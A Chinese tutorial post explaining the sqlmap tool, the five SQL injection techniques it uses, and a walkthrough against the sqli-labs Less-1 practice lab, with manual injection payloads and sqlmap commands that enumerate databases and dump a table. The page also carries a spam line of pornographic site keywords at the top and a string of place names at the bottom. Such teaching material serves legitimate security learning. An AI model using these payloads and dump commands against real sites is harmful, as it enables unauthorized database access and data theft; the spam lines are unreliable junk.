最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入漏洞掃描之sqlmap詳解

 更新時(shí)間:2025年01月25日 11:22:44   作者:司越越  
SQLMap是一款自動(dòng)執(zhí)行SQL注入的審計(jì)工具,支持多種SQL注入技術(shù),包括布爾型盲注、時(shí)間型盲注、報(bào)錯(cuò)型注入、聯(lián)合查詢注入和堆疊查詢注入

what

SQLMap是一款先進(jìn)的自動(dòng)執(zhí)行SQL注入的審計(jì)工具。當(dāng)給定一個(gè)URL時(shí),SQLMap會(huì)執(zhí)行以下操作:

  1. 判斷可注入的參數(shù)。
  2. 判斷可以用哪種SQL注入技術(shù)來注入。
  3. 識(shí)別出目標(biāo)使用哪種數(shù)據(jù)庫。
  4. 根據(jù)用戶的選擇,讀取哪些數(shù)據(jù)庫中的數(shù)據(jù)。

更詳細(xì)語法請(qǐng)參考官方手冊(cè)---用法 | sqlmap 用戶手冊(cè) (highlight.ink)

支持類型

sqlmap 可用于檢測利用五種不同類型的 SQL 注入。

  • 布爾型盲注(Boolean-based blind):sqlmap 會(huì)替換或添加 SQL 語句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的 SELECT 子查詢,也可以是任意用于獲取輸出數(shù)據(jù)的 SQL 語句。針對(duì)每個(gè)注入檢測的 HTTP 響應(yīng),sqlmap 通過對(duì)比原始請(qǐng)求響應(yīng)的 headers/body,從而逐個(gè)字符地推導(dǎo)出注入語句的輸出?;蛘撸脩艨梢灶A(yù)先提供一個(gè)字符串或正則表達(dá)式,用于對(duì)正確頁面結(jié)果進(jìn)行匹配。sqlmap 內(nèi)部實(shí)現(xiàn)了二分算法,使得輸出中的每一個(gè)字符可在最多 7 個(gè) HTTP 請(qǐng)求內(nèi)被獲取。如果請(qǐng)求響應(yīng)結(jié)果不是簡單的明文字符集,sqlmap 會(huì)采取更大范圍的算法來檢測輸出。
  • 時(shí)間型盲注(Time-based blind):sqlmap 會(huì)替換或者添加相關(guān)的 SQL 語句到 HTTP 請(qǐng)求的查詢參數(shù)里面,相關(guān)的 SQL 語句可能是合法的、用于使后端 DBMS(Database Management System,數(shù)據(jù)庫管理系統(tǒng))延遲幾秒響應(yīng)的查詢。針對(duì)每一個(gè)注入檢測的 HTTP 響應(yīng),通過對(duì) HTTP 響應(yīng)時(shí)間與原始請(qǐng)求之間進(jìn)行比較,從而逐個(gè)字符地推導(dǎo)出注入語句的輸出。正如基于布爾型盲注的技術(shù)一樣,二分算法也會(huì)被應(yīng)用。
  • 報(bào)錯(cuò)型注入(Error-based):sqlmap 會(huì)替換或者添加用于引發(fā)特定數(shù)據(jù)庫錯(cuò)誤的 SQL 語句到查詢參數(shù)里面,并通過解析對(duì)應(yīng)的注入結(jié)果,判斷特定的數(shù)據(jù)庫錯(cuò)誤信息是否存在響應(yīng)的 headers/body 中。這項(xiàng)技術(shù)只有在 Web 應(yīng)用配置開啟后端 DBMS 錯(cuò)誤信息提醒才有效。
  • 聯(lián)合查詢注入(UNION query-based):sqlmap 會(huì)在查詢參數(shù)中添加以 UNION ALL SELECT 開頭的合法 SQL 語句。當(dāng) Web 應(yīng)用在 for 循環(huán)中直接傳遞 SELECT 語句的查詢結(jié)果,或采用了類似的方法將查詢結(jié)果在頁面中逐行輸出時(shí),這項(xiàng)技術(shù)會(huì)生效。當(dāng)查詢結(jié)果不使用 for 循環(huán)進(jìn)行全部輸出而只輸出首個(gè)結(jié)果,sqlmap 還能夠利用偏(單入口)聯(lián)合查詢 SQL 注入漏洞。
  • 堆疊查詢注入(Stacked queries),也被稱為捎帶查詢注入(piggy backing):sqlmap 會(huì)測試 Web 應(yīng)用是否支持堆疊查詢,如果支持,則在 HTTP 請(qǐng)求的查詢參數(shù)中添加一個(gè)分號(hào)(;),并在后面加上注入的 SQL 語句。這項(xiàng)技術(shù)不僅適用于執(zhí)行 SELECT 語句,同樣適用于執(zhí)行數(shù)據(jù)定義或者數(shù)據(jù)操作等 SQL 語句,同時(shí)可能可以獲取到文件系統(tǒng)的讀寫權(quán)限和系統(tǒng)命令執(zhí)行權(quán)限,不過這很大程度上取決于底層 DBMS 和當(dāng)前會(huì)話用戶的權(quán)限。

how---less-1為例

sqlmap在kali中自動(dòng)集成,若要在Windows中使用需要python2.x版本

1.檢測網(wǎng)站是否存在sql注入漏洞的注入點(diǎn)

sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1"(id為)

---最好有個(gè)""

(-u 前提是檢測參數(shù)為GET參數(shù))

結(jié)果顯示參數(shù)id是注入點(diǎn),有存在多個(gè)sql注入漏洞,分別是布爾盲注、錯(cuò)誤注入、時(shí)間盲注、union聯(lián)合注入

并且返回了該網(wǎng)站基于的數(shù)據(jù)庫類型

我們來驗(yàn)證一下---

錯(cuò)誤注入

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

union聯(lián)合注入

?id=100000' union select 1,2,3 --+

時(shí)間盲注

id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+

布爾盲注

id=1' and substr(database(),1,1)='s'--+

2.列舉可用數(shù)據(jù)庫

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 --dbs

3.列舉數(shù)據(jù)庫中的數(shù)據(jù)表

sqlmap -u http://192.168.243.133/sqli-labs-php7-master/Less-1/?id=1 -D security --tables

4.列舉數(shù)據(jù)表中的字段

?id=1 -D security -T emails --columns

5.輸出目標(biāo)字段的具體內(nèi)容

?id=1 -D security -T emails -C email_id --dump

注:若字段數(shù)不多,4與5可以合并成 ?id=1 -D security -T emails -dump

效果就是列舉該表下的所有字段以及字段的內(nèi)容,以及對(duì)應(yīng)關(guān)系 觀察更方便

若字段內(nèi)容的多少可以用--count查看

若想查看指定行數(shù)的字段內(nèi)容可以 --start(起始條數(shù)) --stop(終止條數(shù))

?id=1 -D security -T emails --start 2 --stop 3 --dump

總結(jié)

以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。

相關(guān)文章

  • 如何用DeepSeek獲取數(shù)據(jù)庫中的表信息(表名和字段名稱)

    如何用DeepSeek獲取數(shù)據(jù)庫中的表信息(表名和字段名稱)

    這篇文章主要介紹了如何利用DeepSeek模型結(jié)合數(shù)據(jù)庫查詢,自動(dòng)生成表結(jié)構(gòu)信息,通過自然語言描述,讓DeepSeek自動(dòng)生成對(duì)應(yīng)的SQL查詢,從而實(shí)現(xiàn)對(duì)數(shù)據(jù)庫結(jié)構(gòu)的智能化探索,需要的朋友可以參考下
    2025-02-02
  • 六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與 Apache SeaTunnel

    六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與&nb

    這篇文章主要介紹了六大主流數(shù)據(jù)同步工具對(duì)比:DataX、Airbyte、Canal、Debezium、Fivetran 與 Apache SeaTunnel的相關(guān)資料,需要的朋友可以參考下
    2026-02-02
  • sql 中將日期中分秒化為零的語句

    sql 中將日期中分秒化為零的語句

    用到了sql中的convert函數(shù)將日期中的分秒轉(zhuǎn)換為零
    2008-10-10
  • Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實(shí)現(xiàn)方法

    Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實(shí)現(xiàn)方法

    這篇文章主要介紹了Navicat 導(dǎo)出導(dǎo)入數(shù)據(jù)庫的實(shí)現(xiàn)方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-11-11
  • 前端數(shù)據(jù)庫IndexedDB基礎(chǔ)使用的方法步驟

    前端數(shù)據(jù)庫IndexedDB基礎(chǔ)使用的方法步驟

    IndexedDB是一種在瀏覽器端存儲(chǔ)數(shù)據(jù)的方式,既然稱之為DB,是因?yàn)樗S富了客戶端的查詢方式,并且因?yàn)槭潜镜卮鎯?chǔ),可以有效的減少網(wǎng)絡(luò)對(duì)頁面數(shù)據(jù)的影響,這篇文章主要介紹了前端數(shù)據(jù)庫IndexedDB?基礎(chǔ)使用的方法步驟,需要的朋友可以參考下
    2025-07-07
  • DBeaver每次連接提示下載驅(qū)動(dòng)問題的解決方案

    DBeaver每次連接提示下載驅(qū)動(dòng)問題的解決方案

    在使用DBeaver時(shí),如果遇到每次連接都提示需要下載連接驅(qū)動(dòng)的問題,這篇文章主要介紹了DBeaver每次連接提示下載驅(qū)動(dòng)問題的解決方案,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下
    2025-02-02
  • 深入SQL中PIVOT 行列轉(zhuǎn)換詳解

    深入SQL中PIVOT 行列轉(zhuǎn)換詳解

    T-SQL語句中,Pivot運(yùn)算符用于在列和行之間對(duì)數(shù)據(jù)進(jìn)行旋轉(zhuǎn)或透視轉(zhuǎn)換,PIVOT命令可以實(shí)現(xiàn)數(shù)據(jù)表的列轉(zhuǎn)行,同時(shí)執(zhí)行聚合運(yùn)算,UNPIVOT則與其相反,實(shí)現(xiàn)數(shù)據(jù)的行轉(zhuǎn)列。
    2015-10-10
  • 在windows系統(tǒng)下如何安裝memcached的講解

    在windows系統(tǒng)下如何安裝memcached的講解

    今天小編就為大家分享一篇關(guān)于在windows系統(tǒng)下如何安裝memcached的講解,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧
    2019-03-03
  • PL/SQL?循環(huán)、自定義函數(shù)以及存儲(chǔ)過程實(shí)例詳解

    PL/SQL?循環(huán)、自定義函數(shù)以及存儲(chǔ)過程實(shí)例詳解

    文章主要介紹了PL/SQL的核心內(nèi)容,包括循環(huán)結(jié)構(gòu)(FOR、WHILE循環(huán)及控制語句)、自定義函數(shù)和存儲(chǔ)過程,詳細(xì)解釋了各自的特點(diǎn)、應(yīng)用場景和示例,并對(duì)比了函數(shù)和存儲(chǔ)過程的區(qū)別,特別是強(qiáng)調(diào)了Oracle存儲(chǔ)過程中的IS/AS關(guān)鍵字的必要性
    2026-05-05
  • SQL select distinct的使用方法

    SQL select distinct的使用方法

    這篇文章主要介紹了SQL中distinct的用法 ,需要的朋友可以參考下
    2015-11-11

最新評(píng)論

奉新县| 博罗县| 诏安县| 城固县| 桐庐县| 黔东| 黄大仙区| 平远县| 邯郸市| 赣州市| 准格尔旗| 中卫市| 当涂县| 疏勒县| 肥西县| 定安县| 宜都市| 广东省| 江陵县| 南陵县| 襄垣县| 兴仁县| 高要市| 兖州市| 凯里市| 漳浦县| 疏附县| 洪雅县| 望城县| 夏邑县| 勃利县| 延庆县| 会东县| 定南县| 嘉义县| 始兴县| 社会| 吴忠市| 青岛市| 柳林县| 桂林市|